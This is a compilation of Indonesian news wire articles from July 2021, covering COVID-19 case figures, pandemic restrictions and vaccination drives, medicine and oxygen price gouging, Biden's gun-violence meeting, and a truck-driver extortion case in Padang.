Washington, FNN - Presiden Amerika Serikat Joe Biden mendesak para pemimpin lokal dan federal untuk "bersama-sama" mengurangi kekerasan senjata pada Senin (12/7) dalam pertemuan dengan petugas penegak hukum dan wali kota yang bertujuan mengatasi peningkatan kejahatan yang mengkhawatirkan di banyak kota. Biden, yang telah berjanji mendorong perubahan menyeluruh pada undang-undang senjata api, bulan lalu meluncurkan langkah-langkah untuk membendung aliran senjata api yang digunakan dalam kejahatan, berdasarkan perintah eksekutif yang ditandatangani pada April yang mencakup dorongan oleh Departemen Kehakiman untuk lebih mengontrol "senjata siluman". Presiden Demokrat itu, yang memiliki hubungan lama dengan penegakan hukum, juga telah mengumumkan langkah-langkah meminta pertanggungjawaban pengedar senjata api nakal karena melanggar undang-undang federal dan membantu negara bagian mempekerjakan lebih banyak petugas polisi menggunakan dana penyelamatan COVID-19. Kejahatan kekerasan meningkat tajam pada 2020: pembunuhan naik 30% dan kekerasan senjata naik 8%. "Kami menyadari bahwa kami harus bersama-sama untuk memenuhi tanggung jawab pertama dari sebuah demokrasi dan untuk menjaga satu sama lain tetap aman. Dan itulah yang dicari orang-orang Amerika dalam hal mengurangi kejahatan dengan kekerasan dan kekerasan senjata," kata Biden. pada awal pertemuan di Gedung Putih. Biden menguraikan aspek rencananya untuk mengurangi kekerasan senjata tetapi mengakui tidak ada pendekatan satu ukuran untuk semua. Partai Republik menyebut lonjakan bukti kejahatan dari kebijakan Demokrat yang lemah dan berusaha menjadikannya fokus pemilihan 2022 yang akan menentukan kendali Kongres. Mereka juga berusaha menggambarkan Biden sebagai pendukung seruan yang meluas untuk "memangkas pendanaan" polisi setelah pembunuhan seorang pria kulit hitam, George Floyd, oleh seorang polisi kulit putih pada Mei 2020. Anggaran yang diusulkan Biden sebenarnya meningkatkan pendanaan untuk kepolisian masyarakat sebesar $300 juta (Rp4,3 triliun). Usulan ini juga menuangkan $750 juta (Rp10,8 triliun) dana tambahan ke lembaga penegak hukum federal seperti FBI dan Biro Alkohol, Tembakau, Senjata Api dan Bahan Peledak (ATF). "Strategi kami menyediakan termasuk pendanaan untuk penegakan hukum melalui Rencana Penyelamatan Amerika untuk negara bagian, kota dan untuk dapat menyewa polisi dan membayar mereka lembur, untuk memajukan kepolisian masyarakat," kata Biden. Jaksa Agung Merrick Garland menghadiri pertemuan tersebut bersama dengan Presiden Borough Brooklyn Eric Adams, yang baru-baru ini memenangkan nominasi Demokrat untuk Wali Kota New York City, Washington, D.C., Wali Kota Muriel Bowser dan Wali Kota San Jose, California, Sam Liccardo. Kepala polisi dari Chicago; Memphis, Tennessee; Wilmington, Delaware; dan Newark, New Jersey, juga dijadwalkan hadir, kata Gedung Putih. Biden berjanji selama kampanyenya bahwa dia akan mengambil tindakan terhadap kekerasan senjata pada hari pertama pemerintahannya. Namun, para kritikus, termasuk beberapa aktivis pengendalian senjata, mengatakan upayanya hingga saat ini terbatas. Hak pemilikan senjata, yang dilindungi oleh Amandemen Kedua Konstitusi AS, adalah salah satu masalah paling sulit dalam politik Amerika. Demokrat, yang memegang mayoritas tipis di Kongres saat ini, umumnya mendukung kontrol senjata, sementara Partai Republik umumnya menentang mereka. Biden telah mengambil langkah-langkah untuk menindak penjualan senjata ilegal oleh pedagang berlisensi, mengurangi perdagangan senjata di kota-kota besar, dan sangat mendukung pemeriksaan latar belakang yang diperluas untuk pembeli senjata. (sws) Sumber: Reuters

Di Depok 37 Balita Terkonfirmasi Positif COVID-19

Depok, FNN - Pemerintah Kota (Pemkot) Depok, Jawa Barat melansir data sebaran pasien COVID-19 untuk kelompok usia dengan mencatat sebanyak 37 balita terkonfirmasi positif COVID-19. "Kami tak segan-segan mengingatkan masyarakat untuk selalu menerapkan protokol kesehatan 6M. Yakni mengenakan masker saat beraktivitas diluar rumah dan menjaga jarak," kata Juru Bicara Penanganan COVID-19 Kota Depok Dadang Wihana di Depok, Selasa. Kemudian, mencuci tangan dengan sabun, menghindari kerumunan, serta mengurangi mobilitas, dan menghindari makan bersama. Data yang dirilis per 12 Juli 2021, kasus positif COVID-19 ditemui di seluruh kelompok usia, mulai dari balita sampai lansia di atas 80 tahun. Pada kelompok usia 0-5 tahun sebanyak 37 kasus, usia 6-19 tahun 117 kasus. Lalu, usia 20-29 tahun 189 kasus, dan usia 30-39 tahun 200 kasus. Kemudian usia 40-49 tahun 206 kasus, usai 50-59 tahun 122 kasus, usia 60-69 tahun 62 kasus, usia 70-79 tahun tujuh kasus, dan usia lebih dari 80 tahun tiga kasus. Sedangkan untuk data perkembangan kasus virus Corona atau Covid-19, berdasarkan data yang dirilis per tanggal 12 Juli 2021, jumlah pasien sembuh sebanyak 367 orang. Jumlah pasien sembuh setiap harinya terus bertambah. Dengan penambahan tersebut, total pasien sembuh menjadi 56.379 orang atau 79,39 persen. Sedangkan kasus konfirmasi positif totalnya sebanyak 71.012 orang dan kasus konfirmasi aktif 13.362 orang. Lalu untuk kasus suspek aktif 324 orang serta kasus kontak erat aktif 4.163 orang. Pada data tersebut, juga terjadi penambahan kasus pasien yang meninggal dunia 14 orang. Dengan demikian, jumlah total meninggal dunia menjadi 1.271 orang. Kemudian, pasien probabel aktif tidak mengalami penambahan, 17 orang yang merupakan kasus suspek dengan ISPA berat, gagal napas. Atau meninggal dunia dengan gambaran klinis yang meyakinkan COVID-19 dan belum ada hasil pemeriksaan laboratorium RT-PCR. (sws)

Otoritas Pelabuhan Trisakti Banjarmasin Perketat Pemeriksaan Penumpang

Banjarmasin, FNN - Otoritas Pelabuhan Trisakti Banjarmasin, Kalimantan Selatan, memperketat pemeriksaan di posko pemberlakuan pembatasan kegiatan masyarakat (PPKM) untuk berangkat dan kedatangan penumpang kapal laut. "Dokumen perjalanan harus kami pastikan dilengkapi sebagai syarat sesuai kebijakan terkini terkait pencegahan COVID-19," kata Kapolsek Kawasan Pelabuhan Laut (KPL) Banjarmasin AKP Aryansyah, Senin. Sebagaimana diketahui, angkutan penumpang kapal yang melalui Pelabuhan Trisakti melayani rute Banjarmasin ke Pelabuhan Tanjung Perak Surabaya dan sebaliknya. Mengingat PPKM darurat di Jawa-Bali terhitung 3-20 Juli 2021 yang kemudian salah satu aturannya mewajibkan pelaku perjalanan wajib menunjukkan kartu vaksin minimal dosis pertama dan tes usap PCR 2x24 jam sebelum keberangkatan, maka otoritas Pelabuhan Trisakti turut mendukung kebijakan tersebut. Apalagi Kalsel telah menerapkan aturan serupa yaitu tes RT-PCR. Aryansyah menegaskan calon penumpang yang ingin berangkat namun tak dilengkapi surat bebas COVID-19 hasil RT-PCR, maka dilarang menaiki kapal. Sedangkan penumpang yang datang menunjukkan gejala COVID-19 maka dilakukan karantina. "Selama di area gedung terminal penumpang wajib mematuhi protokol kesehatan. Satu per satu penumpang dicek suhu tubuh, jika demam maka ditempatkan di ruang khusus," tandasnya. Selain di Pelabuhan Trisakti, anggota Polsek KPL Banjarmasin memperketat penjagaan dan pengawasan di beberapa titik dermaga yang menjadi tempat sandar kapal nelayan dan sektor perdagangan. Salah satunya Pelabuhan Basirih yang menjadi akses masuk kapal pengangkut beraneka macam barang untuk didistribusikan ke berbagai daerah di Kalimantan Selatan. Petugas mengedukasi para anak buah kapal hingga para buruh yang beraktivitas agar tetap mematuhi protokol kesehatan. (sws)

Kata Kapolri, Jatim Bisa Capai Herd Immunity COVID-19 Akhir Agustus

Surabaya, FNN - Kapolri Jenderal Listyo Sigit Prabowo meyakini Jawa Timur akan mencapai kekebalan kelompok (herd immunity) terhadap virus corona pada akhir Agustus 2021. Meskipun, capaian vaksinasi COVID-19 di provinsi itu saat ini masih di angka 7,9 juta atau sekitar 20% dari jumlah penduduk berdasar sensus BPS 2020. Kapolri mengatakan, dengan kekompakan Forkompinda Jawa Timur maka target 300.000 vaksinasi dalam sehari akan terwujud. Apalagi, saat ini di Jatim rata-rata sudah melakukan vaksinasi sebanyak 165.000 per hari. “Harapannya apabila hal tersebut bisa dipertahankan dan ditingkatkan di angka 300.000 maka di akhir Agustus akan menjadi hadiah bagi masyarakat Jawa Timur dalam mencapai Herd Immunity,” kata Sigit saat melakukan tinjauan vaksinasi massal bersama Panglima TNI Marsekal Hadi Tjahjanto di Mall Grand City, Surabaya, Jumat (9/7/2021). Mantan Kapolda Banten ini menandaskan, Polri bakal mendorong Kementerian Kesehatan untuk mendistribusikan vaksin sesuai kebutuhan yaitu kurang lebih 23 juta masyarakat yang perlu disuntik. Saat ini, baru 7,9 juta warga Jatim yang sudah divaksin. “Terus semangat, jaga jarak dan pakai masker karena COVID-19 masih ada di sekitar kita. Sayangi keluarga sayangi saudara, sayangi teman-teman kita,” ucap Kapolri. Sigit mengingatkan, tentang pentingnya kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat di Pulau Jawa-Bali dalam memutus rantai penyebaran COVID-19. Sehingga, inti dan tujuan dari kebijakan tersebut adalah keselamatan seluruh rakyat Indonesia. “Memang perlu ada langkah besar seperti PPKM Darurat ini. Ada tiga hal penting dalam pelaksanaannya yaitu, pengaturan dan pembatasan mobilitas masyarakat, perkuatan kegiatan PPKM Mikro dan vaksinasi,” tuturnya. (mth)

KPPU Siap Seret Pelanggar HET Tabung Oksigen dan Obat Terapi Covid-19

Surabaya, FNN - Masyarakat Jatim saat ini kesulitan memperoleh tabung gas oksigen dan obat terapi Covid-19 dengan harga normal. Pasar menawarkan dengan harga rata-rata berlipat kali dari harga eceran tertinggi (HET), yang ditetapkan Kementrian Kesehatan (Kemenkes). Fakta ini harus diselesaikan dengan penegakan hukum. “Secara umum, masyarakat Jatim saat ini relatif kesulitan untuk mendapatkan tabung gas oksigen dengan harga normal. Demikian pula harga jasa isi ulangnya,” kata Kepala Kantor Komisi Pengawas Persaingan Usaha (KPPU) Wilayah IV Surabaya Dendy Rakhmad Sutrisno saat dikonfirmasi, Kamis (8/7/2021). Menurut dia, fakta permainan harga tabung gas oksigen itu dikumpulkan dari hasil pantauan pada 10 daerah. Yakni Madiun, Surabaya, Sidoarjo, Gresik, Malang, Bali, Banyuwangi, Jember, Mojokerto, dan Kediri. Pada setiap daerah itu rata-rata harganya naik tak terkendali. Misalnya tabung gas oksigen ukuran 1 M3 dijual menjadi Rp1,2 juta hingga Rp2,1 juta. Sebelum pandemi harganya antara Rp700 ribu sampai Rp800 ribu. Harga tertinggi sebesar Rp2,1 juta itu terpantau di Banyuwangi. Demikian pula untuk jasa isi ulang tabung gas oksigen. Ikut mengalami peningkatan harga berlipat kali. Harga sebelum pandemi sebesar Rp30 ribu per meter kubik. Saat ini menjadi Rp150 ribu per meter kubik. Harga tertinggi jasa pengisian ulang oksigen itu, terpantau di Surabaya. Sementara untuk obat terapi Covid-19 yang terpantau di 5 daerah di Jatim. Yakni Surabaya, Mojokerto, Malang, Sidoarjo, dan Gresik. Menunjukkan terbatasnya akses masyarakat memperoleh obat-obatan tersebut di apotek. Kalau pun ada, maka obat-obatan tersebut dijual dengan harga diatas HET. Itu pun dengan merk lain. Dia contohkan, obat Favipiravir 200mg. Obat yang HET per tablet Rp22.500 itu tidak tersedia di pasar. Obat diganti dengan merek Avegan yang dijual dengan harga Rp68.000 sampai Rp76.900 per tablet. Sementara kandungan Favipiravir dan Avegan itu sama. Sebelumnya, pemerintah menentukan 11 jenis obat terapi Covid-19 yang telah diatur HET-nya berdasarkan Keputusan Menteri Kesehatan (KMK) Nomor HK.1.7/Menkes/4826/2021 tentang HET Obat dalam Masa Pandemi Corona Virus Disease 2019. Namun di pasaran, Favipiravir yang masuk dalam obat yang HET diatur Kemenkes sulit didapat. Digantikan oleh Avegan atau Avigan, yang diproduksi oleh pabrik sama. Pun kandungannya sama dengan Favipiravir. Hanya saja harga Avegan tak diatur dalam HET, sehingga pasar bisa mempermainkan harga. Sebagaimana diketahui, obat Favipiravir dan Avegan itu adalah obat antivirus. Kedua obat itu dikembangkan oleh Toyama Chemical (anak perusahaan Fujifilm). Obat ini memiliki aktivitas melawan berbagai virus RNA. Senyawa antivirus turunan dari pirazinkarboksamida. Dalam percobaan yang dilakukan pada hewan, Favipiravir menunjukkan adanya aktivitas melawan virus influenza, virus West Nile, virus demam kuning, virus penyakit mulut dan kuku, flavivirus, arenavirus, bunyavirus, dan alphavirus. Selain itu, favipiravir juga menunjukkan adanya aktivitas melawan enterovirus dan virus demam lembah rift. Favipiravir juga memiliki efektivitas yang terbatas terhadap virus Zika, dalam penelitian pada hewan.Obat ini juga menunjukkan efektivitas melawan rabies. Favipiravir telah digunakan secara eksperimental pada beberapa pasien yang terinfeksi virus. Menyikapi kondisi tersebut, KPPU memutuskan melakukan pemeriksaan dalam ranah penegakan hukum. Dalam prosesnya KPPU akan menginvestigasi berbagai pihak yang terkait, termasuk pelaku usaha, yang dianggap terindikasi melakukan pelanggaran persaingan usaha. Kebijakan yang akan dilakukan KPPU itu, menurut Dendy Rakhmad Sutrisno, sesuai dengan UU No. 11/2020 dan PP No. 44/2021. Pelaku usaha dapat dijatuhi denda hingga 10 persen dari total penjualan produk tersebut. “Dalam melaksanakan penegakan hukum ini, kami juga akan berkoordinasi dengan Satgas Covid-19 dan lembaga hukum Polri serta Kejaksaan. Selain saling bertukar informasi guna menjaga keamanan pasokan tersebut, kami akan melakukan operasi pasar bersama,” katanya. Tidak hanya itu, Kanwil IV KPPU akan sangat terbuka kepada publik. Menyampaikan informasi atau melaporkan, adanya dugaan persaingan usaha tidak sehat dalam pasokan berbagai produk esensial dalam penanganan Covid-19. “KPPU, Polri, dan Kejaksaanakan bekerjasama dalam menjaga pelaksanaan PPKM Darurat ini. Kami tidak ingin masyarakat menjadi korban permainan pelaku usaha oksigen dan obat terkait penanganan Covid-19,” ujarnya, Selain itu, KPPU sangat terbuka kepada publik. Menampi informasi atau melaporkan adanya dugaan persaingan usaha tidak sehat, dalam pasokan berbagai produk esensial penanganan Covid-19 melalui surat elektronik di pengaduan@kppu.go.id. KPPU berjanji laporan tersebut akan segera ditindaklanjuti, dengan jeratan hukum yang akan ditangani oleh Polri dan Kejaksaan. (mth)

Luhut Proyeksikan Kasus COVID-19 Mulai Terkendali Pekan Depan

Jakarta, FNN - Menteri Koordinator bidang Kemaritiman dan Investasi Luhut Pandjaitan memproyeksikan kasus COVID-19 mulai terkendali pekan depan apabila seluruh masyarakat dapat disiplin dan patuh dengan ketentuan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. "Kalau kita disiplin minggu depan akan mulai flatting atau merata dan cenderung akan terkendali. Kita berharap dengan disiplin kita semua, dengan vaksin semua jalan, protokol kesehatan jalan, kepatuhan PPKM Darurat, kita akan bertambah baik," jelas Luhut dalam keterangan pers vitual seusai rapat terbatas dengan Presiden di Jakarta, Senin. Luhut yang juga merupakan Koordinator PPKM Darurat itu menyampaikan pihaknya telah memantau mobilitas masyarakat selama PPKM Darurat melalui google traffic, Facebook mobility serta indeks cahaya malam. Hasil yang diperoleh selama periode 3-10 Juli 2021 terjadi penurunan mobilitas aktivitas masyarakat 10-15 persen di seluruh Provinsi Jawa dan Bali dari target penurunan mobilitas 20 persen atau lebih. Adapun menyangkut kesiapan rumah sakit dan tempat tidur, Luhut menyampaikan kerja sama antara Kementerian Kesehatan dan Kementerian PUPR sudah berjalan dengan baik. "Penambahan tempat tidur di Jakarta dengan worst-case scenario berjalan baik. Kami sudah minta supaya TNI buka rumah sakit lapangan sehingga jumlah rumah sakit, untuk ICU khususnya, makin banyak terpenuhi sehingga akan mengurangi kesulitan mendapatkan tempat tidur," jelasnya. (mth)

PN Sampit Tutup Sementara Karena Banyak Pegawai Positif COVID-19

Sampit, FNN - Pengadilan Negeri Sampit, Kabupaten Kotawaringin Timur, Kalimantan Tengah, menghentikan kegiatan dan ditutup sementara karena banyaknya pegawai terkonfirmasi positif COVID-19. "Lockdown atau tutup pelayanan sementara sebagai upaya menekan jumlah penyebaran COVID-19 dikarenakan banyaknya pegawai yang terkonfirmasi positif COVID-19. Lockdown atau tutup pelayanan sementara dilaksanakan mulai Jumat (9/7) sampai Jumat (16/7)," kata Ketua Pengadilan Negeri Sampit Darminto Hutasoit di Sampit, Senin. Darminto menjelaskan, hasil tes swab PCR menunjukkan ada tujuh pegawai yang sudah terkonfirmasi positif COVID-19, termasuk ada yang anak dan istrinya juga terjangkit. Hari ini ada 18 orang pegawai yang menjalani tes swab PCR di Klinik Islamic Center dan belum diketahui hasilnya. Untuk mencegah meluasnya penularan COVID-19, Darminto memutuskan melakukan 'lockdown' atau tutup sementara. Ini juga sebagai bentuk dukungan terhadap program pemerintah untuk memutus mata rantai penularan virus mematikan ini. Saat ini dari sekitar 40 pegawai di Pengadilan Negeri Sampit, sebagian besar pegawai melaksanakan pekerjaan dari rumah masing-masing atau WFH (work from home). Dia meminta masyarakat memahami kondisi saat ini, namun pihaknya berupaya pelayanan tetap diupayakan tetap berjalan. Persidangan pun diputuskan dihentikan sementara, kecuali yang sifatnya urgen atau darurat. Ini menjadi langkah penting untuk mencegah terjadinya penularan yang meluas. Langkah ini sambil menunggu hasil swab PCR seluruh pegawai. Pegawai yang hasil swab PCR negatif maka akan dimungkinkan bekerja memberikan pelayanan. Selama lockdown, pelayanan tetap bisa berjalan. Khusus upaya hukum, penerimaan surat masuk dilayani secara khusus sesuai protokol kesehatan. Khusus layanan permohonan izin sita atau geledah, perpanjangan penahanan serta izin serta izin besuk diproses melalui aplikasi online e-GESIT + pada situs www.gesitplus.pn-sampit.go.id. "Kami mendukung upaya pemerintah memutus mata rantai penularan COVID-19. Hari ini ada 18 orang yang di-swab PCR di KIC. Mudah-mudahan hasilnya negatif. Tapi kalau hasilnya positif maka akan lockdown evaluasi apakah akan diperpanjang atau dihentikan," demikian Darminto. (sws)

Empat Pasien Positif COVID-19 Meninggal Dunia di Tarakan

Tarakan, FNN - Sebanyak empat pasien positif COVID-19 meninggal dunia di Tarakan, Kalimantan Utara sehingga jumlah kumulatif pasien terkonfirmasi positif yang meninggal dunia sebanyak 120 orang. Berdasarkan data Satuan Tugas Penanganan COVID-19 Kota Tarakan, Senin menyatakan bahwa empat pasien yang meninggal dunia berinisial Z (52) warga Kelurahan Sebengkok dan JA (37) warga Kelurahan Karang Anyar kedua tidak memilik kormobid. Meninggal dunia di Rumah Sakit Umum Daerah (RSUD) Tarakan pada hari Minggu (11/7). Sedangkan dua pasien lain yang meninggal berinisial DK (67), warga Kelurahan Pamusian dan M (56), warga Kelurahan Kampung Enam. Keduanya memiliki kormobid diabetes melitus dan meninggal dunia di RSUD Tarakan pada hari Senin. Sampai saat ini, jumlah kasus konfirmasi meninggal dunia sebanyak 120 orang dan kasus probable yang meninggal dunia sebanyak enam orang. Sedangkan jumlah kasus aktif COVID-19 sebanyak 327 orang. Terjadi penambahan kasus positif COVID-19 di Tarakan sebanyak 47 orang, maka jumlah kumulatif kasus konfirmasi sebanyak 6.525 orang. Serta tidak terdapat penambahan kasus konfirmasi yang sembuh. Jumlah kumulatif pasien sembuh dari COVID-19 sebanyak 6.078 orang. Kemudian jumlah kasus suspek yang dipantau saat ini sebanyak 47 orang. Kasus suspek yaitu orang dengan Infeksi Saluran Pernapasan Akut (ISPA) dan pada 14 hari terakhir. Sebelum timbul gejala memiliki riwayat perjalanan atau tinggal di negara/wilayah Indonesia yang melaporkan transmisi lokal, orang dengan salah satu gejala/tanda ISPA dan 14 hari terakhir. Dimana sebelumnya timbul gejala memiliki riwayat kontak dengan kasus konfirmasi/probable COVID-19, orang dengan ISPA berat/pneumonia berat yang membutuhkan perawatan di rumah sakit. Selanjutnya jumlah seluruh kontak erat yang sedang dipantau saat ini sebanyak 401 orang. Kontak erat adalah orang yang memiliki riwayat kontak dengan kasus probable atau konfirmasi COVID-19. Dinkes mengimbau kepada masyarakat Tarakan agar terus memberikan dukungan moral terhadap pasien ataupun keluarga kasus suspek, kasus probable, kontak erat dan kasus konfirmasi. (sws)

PT Semen Padang Dukung Kepolisian Buru Pelaku Pemalakan di Indarung

Padang, FNN - PT Semen Padang mendukung jajaran kepolisian untuk memburu dan menangkap pelaku pemalakan sopir angkutan semen di Indarung yang viral di media sosial. “Kami mendukung dan mengapresiasi respon cepat dari jajaran Polda Sumbar dalam hal ini pihak Polsek Lubuk Kilangan. Mudah-mudahan pelaku pemalakan itu cepat ditangkap,” kata Kepala Unit Humas dan Kesekretariatan PT Semen Padang Nur Anita Rahmawati di Padang, Senin. Menurut dia, usai beredar video pemalakan supir angkutan semen di Indarung, pihaknya sudah berkoordinasi dengan pihak kepolisian untuk diselidiki dan ditindaklanjuti. “Kepolisian dengan cepat mengidentifikasi pelaku dan sedang melakukan pengejaran,” kata Anita. Untuk mengantisipasi ke depan, katanya, kepolisian akan meningkatkan patroli pengamanan di area Semen Padang. Kepada masyarakat yang mengetahui keberadaan pelaku pemalakan supir pengangkut semen di Indarung, Anita mengimbau untuk melaporkan kepada kepolisian terdekat. Ia menegaskan dalam posisi sebagai Objek Vital Nasional Sektor Industri (OVNI) PT Semen Padang merupakan salah satu aset bangsa dan negara yang harus dijaga dan dijamin keamanannya dalam kegiatan operasional. "Ini tidak terlepas dari peranan penting PT Semen Semen Padang bagi kehidupan bangsa dan negara dalam aspek ekonomi, sosial, dan budaya," katanya. Menurut dia, dengan posisi strategis PT Semen Padang ia mengharapkan semua pemangku kepentingan di Sumatera Barat untuk sama-sama menjaga kelangsungan operasional PT Semen Padang, dan menjaga dari segala tindakan yang merugikan, termasuk dari premanisme. Berdasarkan Keputusan Presiden Nomor 63 Tahun 2004 Tentang Pengamanan Objek Vital Nasional, OVNI adalah kawasan/lokasi, bangunan/ instalasi dan/atau usaha yang menyangkut hajat hidup orang banyak, kepentingan negara dan/atau sumber pendapatan negara yang bersifat strategis. Pada pasal 4 ayat 2, Keppres No. 63/2004 dinyatakan, Kepolisian Negara Republik Indonesia berkewajiban memberi bantuan pengamanan terhadap Obyek Vital Nasional. Pada pasal 6 Keppres tersebut disebutkan, Kepolisian Negara Republik Indonesia mengerahkan kekuatan pengamanan Objek Vital Nasional berdasarkan kebutuhan dan perkiraan ancaman dan/atau gangguan yang mungkin timbul. Sedangkan Pasal 7 berbunyi, Dalam melaksanakan pengamanan Obyek Vital Nasional, Kepolisian Negara Republik Indonesia dapat meminta bantuan kekuatan Tentara Nasional Indonesia sesuai ketentuan peraturan perundang-undangan yang berlaku. Sesuai Surat Keputusan Kapolri No Pol : Skep / 738 / 2005 tanggal 13 Oktober 2005 tentang Pedoman sistem OVNI, ditempatkan fasilitas keamanan antara lain kebutuhan minimal perangkat keras dan perangkat lunak dalam obvit, kebutuhan personil keamanan hingga sistem eskalasi tingkat gangguan. Ia menambahkan langkah cepat polisi merespon pelaku premanisme pantas diapresiasi karena pembersihan premanisme sudah merupakan perintah Presiden Joko Widodo dan menjadi komitmen Kapolri Jendral (Pol) Listyo Sigit Prabowo. Sebelumnya, seorang sopir truk dipalak oleh preman di kawasan Indarung, Padang. Tidak hanya dipalak, sang sopir juga tampak dipukul beberapa-kali. Aksi pelaku itu kemudian direkam seseorang lalu diunggah ke media sosial facebook serta instagram sehingga viral. Salah satu akun facebook yang mengunggah video adalah "Galigaman Sangir" pada Sabtu (10/7), hingga Minggu (11/7) videonya telah ditonton oleh 624 ribu orang, dan mendapatkan 9 ribu lebih komentar dari warganet. Di dalam video pelaku mengaku bernama Izet dan meminta uang untuk membeli minum, ia juga mengeluarkan kata-kata kotor sebelum akhirnya diberi uang oleh sopir Rp20 ribu. (sws)

Anggota DPRD Jabar: Tindak Tegas Pelaku Penimbun Obat COVID-19

Bandung, FNN - Anggota Komisi V Dewan Perwakilan Rakyat Daerah (DPRD) Provinsi Jawa Barat Dadan Hidayatullah meminta aparat berwajib menindak tegas para pelaku yang menimbun obat-obat yang digunakan untuk mengobati para pasien COVID-19. "Bagi oknum penimbun obat COVID-19, saya sarankan aparat segera melakukan langkah-langkah cepat menindak secara tegas sesuai hukum yg berlaku agar ada efek jera," kata Dadan Hidayatullah di Bandung, Senin. Aksi para penimbun obat tersebut memicu terjadinya kelangkaan obat yang terjadi belakangan ini di tengah situasi gelombang COVID-19 yang naik tajam. Oleh karena itu, Dadan mengutuk keras atas tindakan para pelaku yang memanfaatkan situasi pandemi ini, dengan menimbun dan mempermainkan harga obat yang akhirnya membuat kelangkaan di masyarakat. Selain itu, Dada juga meminta pemerintah daerah untuk segera cepat tanggap menetralisir kepanikan di tengah masyarakat yang "panic buying" membeli sejumlah obat terkait COVID-19. Dirinya mengimbau masyarakat agar tidak panik dalam membeli obat-obatan, vitamin atau suplemen atau bahkan sembako di pasaran. “Masyarakat agar tetap tenang tidak perlu panik membeli kebutuhan secara berlebihan karena sikap seperti itu justru akan merugikan warga masyarakat yang lain menjadi terpengaruh. Padahal stok kebutuhan alat kesehatan atau kebutuhan bahan pangan sembako banyak tersedia," katanya. Dadan juga mengajak kepada seluruh masyarakat Jawa Barat di masa PPKM Darurat ini agar tetap patuh dan disiplin menjaga protokol kesehatan demi memutus penularan pandemi COVID-19. “Di tengah semakin meningkat penyebaran virus covid akhir-akhir ini, saya mengajak warga masyarakat agar tetap taati disiplin 5M prokes Memakai masker, Mencuci tangan, Menjaga jarak, menghindari kerumunan dan tentunya mengurangi mobilitas," katanya. (sws)

WN Rusia di Bali Bakal Dideportasi Usai Jalani Karantina COVID-19

Badung, FNN - Warga Negara Asing (WNA) asal Rusia di Bali bernama Anzhelika NaumeWar bakal dideportasi setelah selesai menjalani karantina dan dinyatakan negatif COVID-19. \"WNA bernama Anzhelika NaumeWar yang sempat menolak karantina ini sudah dijemput Imigrasi dan dibawa ke tempat karantina. Jika nanti setelah karantina dites dan negatif akan ditahan di Detensi Imigrasi Ngurah Rai sebelum proses deportasi,\" kata Kepala Kantor Wilayah Kemenkum-HAM Bali Jamaruli Manihuruk, dalam konferensi pers di Badung, Bali, Senin. Ia mengatakan pada Kamis (8/7) WNA bernama Anzhelika NaumeWar sempat menolak karantina dan ingin menghindari petugas. Selain itu, warga asing asal Rusia tersebut tidak memenuhi protokol kesehatan dan beraktivitas di tempat keramaian dengan kondisi positif COVID-19. \"Terhadap Anzhelika Naumenok, paspor-nya telah ditahan di Kantor Imigrasi Ngurah Rai, apabila proses karantina telah berakhir dan dinyatakan negatif COVID-19, akan dideportasi,\" katanya. Sementara itu, Kepala Satpol PP Provinsi Bali Dewa Nyoman Rai Dharmadi mengatakan bahwa saat ini WN Rusia tersebut sudah dikarantina di salah satu hotel di Denpasar. Saat dievakuasi petugas, kata Kasatpol PP Bali ini bahwa WN Rusia tersebut sempat menolak dan melakukan perlawanan. Sehingga bersama tim gabungan lainnya melakukan jemput paksa di tempat tinggal-nya wilayah Canggu, Bali. \"Bule ini kehabisan uang dan enggak mampu biaya diri sendiri, makanya seperti itu (menolak karantina). Dari petunjuk Ketua Satgas kami bawa ke tempat karantina langsung karena sepertinya ada unsur kesengajaan dari bule ini. Sudah positif malah mencari keramaian,\" ujarnya. Untuk proses selanjutnya, pihak Satpol PP Bali masih mendiskusikan lebih lanjut bersama Satgas COVID-19 Bali untuk rekomendasi proses deportasi. \"Nanti lihat perkembangannya, karena yang bersangkutan ini kan positif COVID ya jadi kami pertimbangkan ada unsur kesengajaan, dia sengaja beraktivitas untuk menularkan COVID ke kawan-kawannya. Nanti kami diskusikan, dan perlu ajukan deportasi setelah dia sembuh,\" ucap Kasatpol PP Bali. Sebelumnya, sudah ada tiga WNA yaitu Murray Ross asal Irlandia, Ayala Aileen dari Amerika Serikat dan ZK berkebangsaan Rusia yang dideportasi karena melanggar protokol kesehatan. (sws)

Lanud Sam Ratulangi Gelar Serbuan Vaksinasi untuk Anak

Manado, FNN - Pangkalan Angkatan Udara (Lanud) Sam Ratulangi melaksanakan Serbuan Vaksinasi untuk umum dan anak, di Manado, Senin Kepala Rumah Sakit (Karumkit) Lanud Sam Ratulangi Mayor Kes dr. Ahmad Fauzi mengatakan Dinas Kesehatan Provinsi Sulawesi Utara telah menunjuk Rumah Sakit Angkatan Udara Sam Ratulangi untuk melaksanakan vaksinasi, bersama dengan fasilitas kesehatan lainnya. "Hari ini dilaksanakan vaksinasi bagi anak-anak dan juga orang dewasa. Hari ini dimulainya vaksinasi bagi anak-anak usia 12-17 tahun," katanya. Ia menambahkan pelaksanaan kegiatan vaksinasi ini mengutamakan protokol kesehatan. Ia mengatakan dalam pelaksanaan vaksinasi ini masyarakat harus sudah mendaftar secara online pada https://www.vaksinhebat.idsolution.co.id/. Peserta dari anak-anak yang vaksin harus menunjukkan NIK pada Kartu Keluarga. Vaksin yang disediakan adalah vaksin dari Biofarma atau Zinovac untuk anak-anak. sementara untuk yang dewasa vaksin Astra Zeneca. Hari ini kuota yang diberikan sejumlah seratus vaksin, kegiatan ini akan terus berlanjut sesuai dengan kebijakan pemerintah. "Rumah Sakit TNI AU Sam Ratulangi akan terus mendukung program pemerintah dengan sepenuhnya”, katanya. Kepala Penerangan Lanud Sam Ratulangi Mayor Sus Michiko mengatakan Komandan Lanud Sam Ratulangi Marsma TNI Mohamad Satriyo Utomo telah menegaskan kepada seluruh Perwira pelaksanaannya harus sesuai dengan protokol kesehatan. “Pelaksanaannya tolong sesuai prokes, walaupun dilaksanakan di Rumah Sakit. Sediakan kursi-kursi saat menunggu giliran, jaga jarak serta teratur dan baik," kata Michiko mengutip di sampaikan Danlanud Sam Ratulangi. Dalam pelaksanaan vaksinasi, Satuan POMAU Lanud Sam Ratulangi senantiasa siap bagi pengamanan terbuka. Melaporkan situasi pengamanan lalu lintas giat vaksinasi di RS TNI AU, serta mendukung ketertiban pemberian vaksin bagi masyarakat sekitar Pangkalan TNI AU Sam Ratulangi, Mapanget, Manado. Serbuan Vaksinasi tersebut dilaksanakan di halaman parkir Rumah Sakit Lanud Sam Ratulangi, Mapanget, Manado. (sws)

